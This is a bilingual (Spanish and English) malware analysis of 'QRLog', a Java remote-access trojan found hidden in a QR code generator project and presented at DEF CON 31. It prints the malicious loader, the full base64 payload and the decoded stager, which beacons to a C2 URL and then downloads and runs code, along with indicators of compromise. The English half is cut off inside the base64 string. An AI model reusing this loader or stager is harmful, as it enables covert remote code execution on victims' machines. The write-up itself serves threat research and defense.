QRLog

Talk: Riding with the Chollimas

Presentations

# Date Conference Link to Video Link to Slides
1 AGO-2023 DEFCON 31 Recon Village https://www.youtube.com/watch?v=DB6yDJeb6U8 https://docs.google.com/presentation/d/1mQuauuJCdDI9d_HfIvLdtk_vM4FU4v0AUmlTShV9_hI

QRLog Malware Analysis

Español

Introducción

En Febrero de 2023 encontré por primera vez una muestra del malware QRLog in the wild. Le asigné este nombre debido a que se ocultaba entre los archivos de un generador de códigos QR escrito en Java y crea un archivo con ese mismo nombre para su persistencia.

Es un malware sencillo - y en apariencia, de fabricación casera - de tipo RAT (Remote Access Tool) que intenta abrir una shell reversa otorgando al atacante acceso privilegiado al equipo infectado.

Al momento de escribir esta investigación no existen menciones públicas a este malware o a sus componentes, como tampoco detecciones por parte de software antivirus o plataformas de seguridad, lo que nos indica estar ante una muestra novel [1]. Sin embargo algunas plataformas de inteligencia como CMC (Vietnam) han marcado el enlace original al archivo como sospechoso [1], y en otras es posible encontrar menciones a parte de su infraestructura C2 (asociada a Cobalt Strike y cuya reutilización es común)[2][3].

Comportamiento

El proyecto es funcional y no presenta en primera instancia rasgos sospechosos. Sin embargo, un análisis de comportamiento en tiempo de ejecución llevado a cabo por Crowdstrike Falcon detectó - y bloqueó - una serie de acciones potencialmente maliciosas: - La lectura de la configuración de red mediante el comando ifconfig - El envío de una única solicitud ICMP ping a un servidor externo - La creación de directorios temporales con una serie de números aleatorios en su nombre - La escritura de un archivo .java en el directorio temporal (QRLog.java) y su posterior ejecución - La escritura de otros archivos con extensiones .java y .dat en dichos directorios temporales (prefTmp.java, p.dat) y su posterior ejecución - El borrado de dichos archivos

Ante la inexistencia de material sobre este malware se decidió proceder a un análisis manual. En primera instancia la búsqueda de cadenas de texto que referencien los nombres de los archivos creados arrojó resultados positivos:

#Buscar "qrlog" en referencia al archivo QRLog.java, primer archivo escrito en las carpetas temporales
> grep -rnwi "qrlog"

[...]/google/zxing/qrcode/QRCodeWriter.java:87:errPath = System.getProperty("java.io.tmpdir")+ "\\QRLog.java";
[...]/google/zxing/qrcode/QRCodeWriter.java:89:errPath = System.getProperty("java.io.tmpdir")+ "/QRLog.java";

El archivo QRCodeWriter.java es quien crea originalmente el archivo QRLog.java y es un buen candidato para comenzar la investigación. Teniendo una referencia sólida fue posible comenzar el análisis del código Java.

Análisis de código fuente

Al analizar el archivo QRCodeWriter.java (disponible para descargar individualmente en la sección Muestras) llama inmediatamente la atención la siguiente función:

try{
        String os = System.getProperty("os.name");
        String errPath;
        
        if (os.contains("Windows"))
            errPath = System.getProperty("java.io.tmpdir")+ "\\QRLog.java";
        else
            errPath = System.getProperty("java.io.tmpdir")+ "/QRLog.java";
        FileOutputStream qrW = new FileOutputStream(errPath);
        qrW.write(b64dec);
        Runtime.getRuntime().exec("java " + errPath);
    }
    catch (IOException ex){   
    }

En esta función el malware intenta determinar vagamente sobre qué plataforma se estrá trabajando (Windows o Unix), para entender dónde y cómo (con barra invertida o no) escribir un archivo “de log” con extensión .java. A este archivo le escribe el contenido de la variable b64dec la cual puede encontrarse unas líneas más arriba en el archivo.

byte [] b64dec = Base64.getDecoder().decode(QUIET_ZONE_DATA);

Como podemos ver en este fragmento, b64dec almacena el resultado de decodificar la variable QUIET_ZONE_DATA desde base64. Indagando un poco más en el código es posible encontrar el contenido de QUIET_ZONE_DATA:

public static String QUIET_ZONE_DATA = "aW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLm5ldC5VUkk7CmltcG9ydCBqYXZhLm5ldC5odHRwLkh0dHBDbGllb"
          + "nQ7CmltcG9ydCBqYXZhLm5ldC5odHRwLkh0dHBSZXF1ZXN0OwppbXBvcnQgamF2YS5uZXQuaHR0cC5IdHRwUmVzcG9uc2U7CmltcG9ydCBqYXZhLm5pby5jaGFyc2V0LlN0YW5"
          + "kYXJkQ2hhcnNldHM7CmltcG9ydCBqYXZhLnV0aWwuQmFzZTY0OwppbXBvcnQgamF2YS51dGlsLlJhbmRvbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRXcml0ZXI7CmltcG9yd"
          + "CBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVXcml0ZXI7CmltcG9ydCBqYXZhLmxhbmcuVGhyZWFkOwoKcHVibGljIGNsYXNzIFFSTG9nIHsKCiAgICBwcml2YXR"
          + "lIHN0YXRpYyBmaW5hbCBTdHJpbmcgUE9TVF9VUkwgPSAiaHR0cHM6Ly93d3cuZ2l0LWh1Yi5tZS92aWV3LnBocCI7CgogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3Rya"
          + "W5nW10gYXJncykgdGhyb3dzIElPRXhjZXB0aW9uewoKICAgICAgICBzZW5kUE9TVCgpOwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIFN0cmluZyByYW5kR2VuKCkgdGhyb3d"
          + "zIElPRXhjZXB0aW9uIHsKICAgICAgICBTdHJpbmcgc3RyUG9vbCA9ICIxMjM0NTY3ODkiOwogICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigpO"
          + "wogICAgICAgIFJhbmRvbSByYW5kID0gbmV3IFJhbmRvbSgpOwogICAgICAgIAogICAgICAgIGZvciAoaW50IGk9MDsgaTw4OyBpKyspewogICAgICAgICAgICBzYi5hcHBlbmQ"
          + "oc3RyUG9vbC5jaGFyQXQocmFuZC5uZXh0SW50KHN0clBvb2wubGVuZ3RoKCkpKSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIHJldHVybiBzYi50b1N0cmluZygpOwogI"
          + "CAgfQogICAgCiAgICBwcml2YXRlIHN0YXRpYyBTdHJpbmcgZ2V0T3BlcmF0aW5nU3lzdGVtKCkgewogICAgICAgIFN0cmluZyBvcyA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgib3M"
          + "ubmFtZSIpOwogICAgICAgIFN0cmluZyByZXN1bHQgPSBudWxsOwogICAgICAgIAogICAgICAgIGlmIChvcy5jb250YWlucygiV2luZG93cyIpKQogICAgICAgICAgICByZXN1b"
          + "HQgPSAiMCI7CiAgICAgICAgZWxzZSBpZiAob3MuY29udGFpbnMoIkxpbnV4IikpCiAgICAgICAgICAgIHJlc3VsdCA9ICIyIjsKICAgICAgICBlbHNlIGlmIChvcy5jb250YWl"
          + "ucygiTWFjIE9TIFgiKSkKICAgICAgICAgICAgcmVzdWx0ID0gIjEiOwogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CiAgICAKICAgIHByaXZhdGUgc3RhdGljIHZvaWQgc"
          + "2VuZFBPU1QoKSB0aHJvd3MgSU9FeGNlcHRpb24gewogICAgICAgIFN0cmluZyB1aWQgPSByYW5kR2VuKCk7CiAgICAgICAgU3RyaW5nQnVpbGRlciBkYXRhID0gbmV3IFN0cml"
          + "uZ0J1aWxkZXIoKTsKICAgICAgICBTdHJpbmcgc2VjX3BhdGggPSAiIjsKICAgICAgICBkYXRhLmFwcGVuZCgiR0lUSFVCX1JFUSIpOwogICAgICAgIGRhdGEuYXBwZW5kKHVpZ"
          + "Ck7CiAgICAgICAgZGF0YS5hcHBlbmQoIjIwMDAiKTsKICAgICAgICBkYXRhLmFwcGVuZChnZXRPcGVyYXRpbmdTeXN0ZW0oKSk7CiAgICAgICAgCiAgICAgICAgd2hpbGUgKHR"
          + "ydWUpCiAgICAgICAgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKHNlY19wYXRoLmxlbmd0aCgpID4gMSkgewogICAgICAgICAgICAgICAgICAgIEZpb"
          + "GUgc2VjRmlsZSA9IG5ldyBGaWxlKHNlY19wYXRoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoc2VjRmlsZS5leGlzdHMoKSkKICAgICAgICAgICAgICAgICAgICAgICAgU3l"
          + "zdGVtLmV4aXQoMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIEh0dHBSZXF1ZXN0IHJlcXVlc3QgPSBIdHRwUmVxdWVzdC5uZ"
          + "XdCdWlsZGVyKCkKICAgICAgICAgICAgICAgICAgICAuaGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOCIpCiAgICAgICAgICA"
          + "gICAgICAgICAgLnZlcnNpb24oSHR0cENsaWVudC5WZXJzaW9uLkhUVFBfMV8xKQogICAgICAgICAgICAgICAgICAgIC51cmkoVVJJLmNyZWF0ZShQT1NUX1VSTCkpCiAgICAgI"
          + "CAgICAgICAgICAgICAgLlBPU1QoSHR0cFJlcXVlc3QuQm9keVB1Ymxpc2hlcnMub2ZTdHJpbmcoZGF0YS50b1N0cmluZygpKSkKICAgICAgICAgICAgICAgICAgICAuYnVpbGQ"
          + "oKTsKICAgICAgICAgICAgICAgIEh0dHBDbGllbnQgY2xpZW50ID0gSHR0cENsaWVudC5uZXdIdHRwQ2xpZW50KCk7CiAgICAgICAgICAgICAgICBIdHRwUmVzcG9uc2U8U3Rya"
          + "W5nPiByZXNwb25zZSA9IGNsaWVudC5zZW5kKHJlcXVlc3QsIEh0dHBSZXNwb25zZS5Cb2R5SGFuZGxlcnMub2ZTdHJpbmcoKSk7CiAgICAgICAgICAgICAgICBpZiAocmVzcG9"
          + "uc2Uuc3RhdHVzQ29kZSgpICE9IDIwMCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUaHJlYWQuc2xlZXAoNTAwMCk7CiAgICAgICAgICAgICAgICAgI"
          + "CAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBTdHJpbmcgcmVzU3RyID0gcmVzcG9uc2UuYm9keSgpOwogICAgICAgICAgICAgICAgaWYgKCF"
          + "yZXNTdHIuc3RhcnRzV2l0aCgiR0lUSFVCX1JFUyIpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIFN5c3RlbS5vdXQucHJpbnRsbigiRGF0YSBFcnJvc"
          + "iIpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChyZXNTdHIubGVuZ3RoKCkgPiAxMSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICA"
          + "gICAgICAgICBTdHJpbmcgZW5jX2RhdGEgPSByZXNTdHIuc3Vic3RyaW5nKDEwKTsKICAgICAgICAgICAgICAgICAgICBieXRlIFtdIGRlY19kYXRhID0gQmFzZTY0LmdldERlY"
          + "29kZXIoKS5kZWNvZGUoZW5jX2RhdGEpOwogICAgICAgICAgICAgICAgICAgIFN0cmluZyBvcmdfZmlsZSA9IG5ldyBTdHJpbmcoZGVjX2RhdGEsIFN0YW5kYXJkQ2hhcnNldHM"
          + "uVVRGXzgpOwogICAgICAgICAgICAgICAgICAgIFN0cmluZyBvcmdfcGF0aDsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoSW50ZWdlci5wY"
          + "XJzZUludChnZXRPcGVyYXRpbmdTeXN0ZW0oKSkgPT0gMCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIG9yZ19wYXRoID0gU3lzdGVtLmd"
          + "ldFByb3BlcnR5KCJqYXZhLmlvLnRtcGRpciIpICsgIlxccHJlZlRtcC5qYXZhIjsKICAgICAgICAgICAgICAgICAgICAgICAgc2VjX3BhdGggPSBTeXN0ZW0uZ2V0UHJvcGVyd"
          + "HkoImphdmEuaW8udG1wZGlyIikgKyAiXFxwLmRhdCI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgb3JnX3BhdGggPSBTeXN"
          + "0ZW0uZ2V0UHJvcGVydHkoImphdmEuaW8udG1wZGlyIikgKyAiL3ByZWZUbXAuamF2YSI7CiAgICAgICAgICAgICAgICAgICAgICAgIHNlY19wYXRoID0gU3lzdGVtLmdldFByb"
          + "3BlcnR5KCJqYXZhLmlvLnRtcGRpciIpICsgIi9wLmRhdCI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHRyeSAoRmlsZVdyaXRlciBmaWxlID0"
          + "gbmV3IEZpbGVXcml0ZXIob3JnX3BhdGgsIHRydWUpO0J1ZmZlcmVkV3JpdGVyIGJ1ZmZlciA9IG5ldyBCdWZmZXJlZFdyaXRlcihmaWxlKSkgewogICAgICAgICAgICAgICAgI"
          + "CAgICAgICBidWZmZXIud3JpdGUob3JnX2ZpbGUpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBTdHJpbmcgY21kbGluZSA9ICJqYXZhICIgKyB"
          + "vcmdfcGF0aCArICIgIiArIHVpZCArICIgIiArIFBPU1RfVVJMOwogICAgICAgICAgICAgICAgICAgIFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoY21kbGluZSk7CiAgICAgI"
          + "CAgICAgICAgICAgICAgVGhyZWFkLnNsZWVwKDMwMDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgVGhyZWFkLnNsZWVwKDUwMDApOwogICAgICAgICAgICB"
          + "9CiAgICAgICAgICAgIH0gY2F0Y2ggKEludGVycnVwdGVkRXhjZXB0aW9uIGV4KSB7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K";

Tal como fue comentado es contenido codificado en base64 el cual será decodificado y posteriormente escrito en un archivo .java ubicado en un directorio temporal.

Decodificando el contenido base64 de esta variable obtenemos el siguiente resultado, que dista mucho de ser un simple archivo de log:

Código Java (112 líneas)
import java.io.IOException;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.lang.Thread;

public class QRLog {

    private static final String POST_URL = "https://www.git-hub.me/view.php";

    public static void main(String[] args) throws IOException{

        sendPOST();
    }

    private static String randGen() throws IOException {
        String strPool = "123456789";
        StringBuilder sb = new StringBuilder();
        Random rand = new Random();
        
        for (int i=0; i<8; i++){
            sb.append(strPool.charAt(rand.nextInt(strPool.length())));
        }
        
        return sb.toString();
    }
    
    private static String getOperatingSystem() {
        String os = System.getProperty("os.name");
        String result = null;
        
        if (os.contains("Windows"))
            result = "0";
        else if (os.contains("Linux"))
            result = "2";
        else if (os.contains("Mac OS X"))
            result = "1";
        return result;
    }
    
    private static void sendPOST() throws IOException {
        String uid = randGen();
        StringBuilder data = new StringBuilder();
        String sec_path = "";
        data.append("GITHUB_REQ");
        data.append(uid);
        data.append("2000");
        data.append(getOperatingSystem());
        
        while (true)
        {
            try {
                if (sec_path.length() > 1) {
                    File secFile = new File(sec_path);
                    if (secFile.exists())
                        System.exit(0);
                }
                
                HttpRequest request = HttpRequest.newBuilder()
                    .header("Content-Type", "application/json; charset=utf-8")
                    .version(HttpClient.Version.HTTP_1_1)
                    .uri(URI.create(POST_URL))
                    .POST(HttpRequest.BodyPublishers.ofString(data.toString()))
                    .build();
                HttpClient client = HttpClient.newHttpClient();
                HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
                if (response.statusCode() != 200)
                {
                    Thread.sleep(5000);
                    continue;
                }
                String resStr = response.body();
                if (!resStr.startsWith("GITHUB_RES"))
                {
                    System.out.println("Data Error");
                } else {
                if (resStr.length() > 11)
                {
                    String enc_data = resStr.substring(10);
                    byte [] dec_data = Base64.getDecoder().decode(enc_data);
                    String org_file = new String(dec_data, StandardCharsets.UTF_8);
                    String org_path;
                    
                    if (Integer.parseInt(getOperatingSystem()) == 0)
                    {
                        org_path = System.getProperty("java.io.tmpdir") + "\\prefTmp.java";
                        sec_path = System.getProperty("java.io.tmpdir") + "\\p.dat";
                    } else {
                        org_path = System.getProperty("java.io.tmpdir") + "/prefTmp.java";
                        sec_path = System.getProperty("java.io.tmpdir") + "/p.dat";
                    }
                    try (FileWriter file = new FileWriter(org_path, true);BufferedWriter buffer = new BufferedWriter(file)) {
                        buffer.write(org_file);
                    }
                    String cmdline = "java " + org_path + " " + uid + " " + POST_URL;
                    Runtime.getRuntime().exec(cmdline);
                    Thread.sleep(3000);
                }
                Thread.sleep(5000);
            }
            } catch (InterruptedException ex) {
            }
        }
    }
}

¿Qué acciones realiza este código?

import java.io.IOException;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.lang.Thread;
private static final String POST_URL = "https://www.git-hub.me/view.php";
private static String randGen() throws IOException {
  String strPool = "123456789";
  StringBuilder sb = new StringBuilder();
  Random rand = new Random();

  for (int i=0; i<8; i++){
      sb.append(strPool.charAt(rand.nextInt(strPool.length())));
  }

  return sb.toString();
}
private static String getOperatingSystem() {
  String os = System.getProperty("os.name");
  String result = null;

  if (os.contains("Windows"))
      result = "0";
  else if (os.contains("Linux"))
      result = "2";
  else if (os.contains("Mac OS X"))
      result = "1";
  return result;
}
private static void sendPOST() throws IOException {
        String uid = randGen();
        StringBuilder data = new StringBuilder();
        String sec_path = "";
        data.append("GITHUB_REQ");
        data.append(uid);
        data.append("2000");
        data.append(getOperatingSystem());
try {
  if (sec_path.length() > 1) {
      File secFile = new File(sec_path);
      if (secFile.exists())
          System.exit(0);
  }

  HttpRequest request = HttpRequest.newBuilder()
      .header("Content-Type", "application/json; charset=utf-8")
      .version(HttpClient.Version.HTTP_1_1)
      .uri(URI.create(POST_URL))
      .POST(HttpRequest.BodyPublishers.ofString(data.toString()))
      .build();
  HttpClient client = HttpClient.newHttpClient();
  HttpResponse<String> response = client.send(request, HttpResponse.BodyHandlers.ofString());
if (response.statusCode() != 200)
{
  Thread.sleep(5000);
  continue;
}
String resStr = response.body();
if (!resStr.startsWith("GITHUB_RES"))
{
  System.out.println("Data Error");
} else {
if (resStr.length() > 11)
{
    String enc_data = resStr.substring(10);
    byte [] dec_data = Base64.getDecoder().decode(enc_data);
    String org_file = new String(dec_data, StandardCharsets.UTF_8);
    String org_path;
}
if (Integer.parseInt(getOperatingSystem()) == 0)
{
    org_path = System.getProperty("java.io.tmpdir") + "\\prefTmp.java";
    sec_path = System.getProperty("java.io.tmpdir") + "\\p.dat";
} else {
    org_path = System.getProperty("java.io.tmpdir") + "/prefTmp.java";
    sec_path = System.getProperty("java.io.tmpdir") + "/p.dat";
}
try (FileWriter file = new FileWriter(org_path, true);BufferedWriter buffer = new BufferedWriter(file)) {
    buffer.write(org_file);
}
String cmdline = "java " + org_path + " " + uid + " " + POST_URL;
Runtime.getRuntime().exec(cmdline);
Thread.sleep(3000);

Detalles de interés

#[...]
[...]/default-compile/inputFiles.lst:275:C:\Users\Edward\Downloads\qr-code-generator-and-reader-master\qr-code-generator-and-reader-master\src\main\java\com\google\zxing\common\detector\MathUtils.java
[...]/default-compile/inputFiles.lst:276:C:\Users\Edward\Downloads\qr-code-generator-and-reader-master\qr-code-generator-and-reader-master\src\main\java\com\client\result\VEventResultParser.java
[...]/default-compile/inputFiles.lst:277:C:\Users\Edward\Downloads\qr-code-generator-and-reader-master\qr-code-generator-and-reader-master\src\main\java\com\google\zxing\oned\Code128Writer.java
#[...]

IOCs

File:QRLog.java
File:prefTmp.java
File:QRCodeGenerator_Java.zip
File:AppleAccount.pdf
File:AppleAccountAgent
File:p.dat
IP:45.77.123.18
IP:3.90.35.35
URL:auth.pxaltonet.org
URL:www.git-hub.me
URI:/file/d/1J6943NKwGIcWHh7lj4o9gJe__9p7F1o7/view
MD5:0fb16054a1486b754d1fcc5c6b6e1b01
MD5:26b7d315dd19eb932a08fe474e0f0c31

Muestras

Referencias

  1. VirusTotal
  2. AlienVault OTX
  3. Pulso de inteligencia en AlienVault OTX
  4. Pulso de inteligencia en AlienVault OTX - Actualizado
  5. DEF CON 31 - Charla en Recon Village

English

Intro

In February 2023 I first encountered a sample of the QRLog malware in the wild. I named it like this because it hides itself among the files of a legit QR code generator written in Java, and creates a file with the same name for persistence.

It is a simple RAT (Remote Access Tool) malware that attempts to open a reverse shell granting the attacker privileged access to the infected computer.

At the time of writing this research, there are no public mentions of this malware or its components, nor are there any detections by antivirus software or security platforms, which indicates that we are dealing with a novel sample [1]. However, some intelligence platforms such as CMC (Vietnam) have marked the original link to the file as suspicious [1], and in others it is possible to find mentions of part of its C2 infrastructure (associated with Cobalt Strike and whose reuse is common)[2][3].

Behaviour

The project is functional and does not present suspicious features at first glance. However, a runtime behavior analysis by Crowdstrike Falcon detected - and blocked - a number of potentially malicious actions: - Reading the network configuration using the ifconfig command - Sending a single ICMP ping request to an external server - Creating temporary directories with a series of random numbers in their name - The writing of a .java file in the temporary directory (QRLog.java) and its subsequent execution - The writing of other files with .java and .dat extensions in said temporary directories (prefTmp.java, p.dat) and their subsequent execution - The deletion of said files

In the absence of material on this malware, it was decided to proceed with a manual analysis. The search for text strings that refer to the names of the created files yielded positive results:

#Search for "qrlog", referencing QRLog.java file which is created on runtime
> grep -rnwi "qrlog"

[...]/google/zxing/qrcode/QRCodeWriter.java:87:errPath = System.getProperty("java.io.tmpdir")+ "\\QRLog.java";
[...]/google/zxing/qrcode/QRCodeWriter.java:89:errPath = System.getProperty("java.io.tmpdir")+ "/QRLog.java";

The QRCodeWriter.java file is what originally created the QRLog.java file and is a good candidate to start the analysis.

Source Code Analysis

Looking at the QRCodeWriter.java file (available for individual download in the Samples section) the following function immediately catches your eye:

try{
        String os = System.getProperty("os.name");
        String errPath;
        
        if (os.contains("Windows"))
            errPath = System.getProperty("java.io.tmpdir")+ "\\QRLog.java";
        else
            errPath = System.getProperty("java.io.tmpdir")+ "/QRLog.java";
        FileOutputStream qrW = new FileOutputStream(errPath);
        qrW.write(b64dec);
        Runtime.getRuntime().exec("java " + errPath);
    }
    catch (IOException ex){   
    }

In this function, the malware tries to vaguely determine which platform is being used (Windows or Unix), to understand where and how (with backslash or normal slash) to write a “log” file with a .java extension. To this file it writes the contents of the b64dec variable which can be found a few lines higher in the file.

byte [] b64dec = Base64.getDecoder().decode(QUIET_ZONE_DATA);

As we can see in this snippet, b64dec stores the result of decoding the QUIET_ZONE_DATA variable from base64. Digging a little deeper into the code it is possible to find the content of QUIET_ZONE_DATA:

public static String QUIET_ZONE_DATA = "aW1wb3J0IGphdmEuaW8uSU9FeGNlcHRpb247CmltcG9ydCBqYXZhLm5ldC5VUkk7CmltcG9ydCBqYXZhLm5ldC5odHRwLkh0dHBDbGllb"
          + "nQ7CmltcG9ydCBqYXZhLm5ldC5odHRwLkh0dHBSZXF1ZXN0OwppbXBvcnQgamF2YS5uZXQuaHR0cC5IdHRwUmVzcG9uc2U7CmltcG9ydCBqYXZhLm5pby5jaGFyc2V0LlN0YW5"
          + "kYXJkQ2hhcnNldHM7CmltcG9ydCBqYXZhLnV0aWwuQmFzZTY0OwppbXBvcnQgamF2YS51dGlsLlJhbmRvbTsKaW1wb3J0IGphdmEuaW8uQnVmZmVyZWRXcml0ZXI7CmltcG9yd"
          + "CBqYXZhLmlvLkZpbGU7CmltcG9ydCBqYXZhLmlvLkZpbGVXcml0ZXI7CmltcG9ydCBqYXZhLmxhbmcuVGhyZWFkOwoKcHVibGljIGNsYXNzIFFSTG9nIHsKCiAgICBwcml2YXR"
          + "lIHN0YXRpYyBmaW5hbCBTdHJpbmcgUE9TVF9VUkwgPSAiaHR0cHM6Ly93d3cuZ2l0LWh1Yi5tZS92aWV3LnBocCI7CgogICAgcHVibGljIHN0YXRpYyB2b2lkIG1haW4oU3Rya"
          + "W5nW10gYXJncykgdGhyb3dzIElPRXhjZXB0aW9uewoKICAgICAgICBzZW5kUE9TVCgpOwogICAgfQoKICAgIHByaXZhdGUgc3RhdGljIFN0cmluZyByYW5kR2VuKCkgdGhyb3d"
          + "zIElPRXhjZXB0aW9uIHsKICAgICAgICBTdHJpbmcgc3RyUG9vbCA9ICIxMjM0NTY3ODkiOwogICAgICAgIFN0cmluZ0J1aWxkZXIgc2IgPSBuZXcgU3RyaW5nQnVpbGRlcigpO"
          + "wogICAgICAgIFJhbmRvbSByYW5kID0gbmV3IFJhbmRvbSgpOwogICAgICAgIAogICAgICAgIGZvciAoaW50IGk9MDsgaTw4OyBpKyspewogICAgICAgICAgICBzYi5hcHBlbmQ"
          + "oc3RyUG9vbC5jaGFyQXQocmFuZC5uZXh0SW50KHN0clBvb2wubGVuZ3RoKCkpKSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIHJldHVybiBzYi50b1N0cmluZygpOwogI"
          + "CAgfQogICAgCiAgICBwcml2YXRlIHN0YXRpYyBTdHJpbmcgZ2V0T3BlcmF0aW5nU3lzdGVtKCkgewogICAgICAgIFN0cmluZyBvcyA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgib3M"
          + "ubmFtZSIpOwogICAgICAgIFN0cmluZyByZXN1bHQgPSBudWxsOwogICAgICAgIAogICAgICAgIGlmIChvcy5jb250YWlucygiV2luZG93cyIpKQogICAgICAgICAgICByZXN1b"
          + "HQgPSAiMCI7CiAgICAgICAgZWxzZSBpZiAob3MuY29udGFpbnMoIkxpbnV4IikpCiAgICAgICAgICAgIHJlc3VsdCA9ICIyIjsKICAgICAgICBlbHNlIGlmIChvcy5jb250YWl"
          + "ucygiTWFjIE9TIFgiKSkKICAgICAgICAgICAgcmVzdWx0ID0gIjEiOwogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CiAgICAKICAgIHByaXZhdGUgc3RhdGljIHZvaWQgc"
          + "2VuZFBPU1QoKSB0aHJvd3MgSU9FeGNlcHRpb24gewogICAgICAgIFN0cmluZyB1aWQgPSByYW5kR2VuKCk7CiAgICAgICAgU3RyaW5nQnVpbGRlciBkYXRhID0gbmV3IFN0cml"
          + "uZ0J1aWxkZXIoKTsKICAgICAgICBTdHJpbmcgc2VjX3BhdGggPSAiIjsKICAgICAgICBkYXRhLmFwcGVuZCgiR0lUSFVCX1JFUSIpOwogICAgICAgIGRhdGEuYXBwZW5kKHVpZ"
          + "Ck7CiAgICAgICAgZGF0YS5hcHBlbmQoIjIwMDAiKTsKICAgICAgICBkYXRhLmFwcGVuZChnZXRPcGVyYXRpbmdTeXN0ZW0oKSk7CiAgICAgICAgCiAgICAgICAgd2hpbGUgKHR"
          + "ydWUpCiAgICAgICAgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKHNlY19wYXRoLmxlbmd0aCgpID4gMSkgewogICAgICAgICAgICAgICAgICAgIEZpb"
          + "GUgc2VjRmlsZSA9IG5ldyBGaWxlKHNlY19wYXRoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoc2VjRmlsZS5leGlzdHMoKSkKICAgICAgICAgICAgICAgICAgICAgICAgU3l"
          + "zdGVtLmV4aXQoMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIEh0dHBSZXF1ZXN0IHJlcXVlc3QgPSBIdHRwUmVxdWVzdC5uZ"
          + "XdCdWlsZGVyKCkKICAgICAgICAgICAgICAgICAgICAuaGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOCIpCiAgICAgICAgICA"
          + "gICAgICAgICAgLnZlcnNpb24oSHR0cENsaWVudC5WZXJzaW9uLkhUVFBfMV8xKQogICAgICAgICAgICAgICAgICAgIC51cmkoVVJJLmNyZWF0ZShQT1NUX1VSTCkpCiAgICAgI"
          + "CAgICAgICAgICAgICAgLlBPU1QoSHR0cFJlcXVlc3QuQm9keVB1Ymxpc2hlcnMub2ZTdHJpbmcoZGF0YS50b1N0cmluZygpKSkKICAgICAgICAgICAgICAgICAgICAuYnVpbGQ"
          + "oKTsKICAgICAgICAgICAgICAgIEh0dHBDbGllbnQgY2xpZW50ID0gSHR0cENsaWVudC5uZXdIdHRwQ2xpZW50KCk7CiAgICAgICAgICAgICAgICBIdHRwUmVzcG9uc2U8U3Rya"
          + "W5nPiByZXNwb25zZSA9IGNsaWVudC5zZW5kKHJlcXVlc3QsIEh0dHBSZXNwb25zZS5Cb2R5SGFuZGxlcnMub2ZTdHJpbmcoKSk7CiAgICAgICAgICAgICAgICBpZiAocmVzcG9"
          + "uc2Uuc3RhdHVzQ29kZSgpICE9IDIwMCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBUaHJlYWQuc2xlZXAoNTAwMCk7CiAgICAgICAgICAgICAgICAgI"
          + "CAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBTdHJpbmcgcmVzU3RyID0gcmVzcG9uc2UuYm9keSgpOwogICAgICAgICAgICAgICAgaWYgKCF"
          + "yZXNTdHIuc3RhcnRzV2l0aCgiR0lUSFVCX1JFUyIpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIFN5c3RlbS5vdXQucHJpbnRsbigiRGF0YSBFcnJvc"
          + "iIpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmIChyZXNTdHIubGVuZ3RoKCkgPiAxMSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICA"
          + "gICAgICAgICBTdHJpbmcgZW5jX2RhdGEgPSByZXNTdHIuc3Vic3RyaW5nKDEwKTsKICAgICAgICAgICAgICAgICAgICBieXRlIFtdIGRlY19kYXRhID0gQmFzZTY0LmdldERlY"
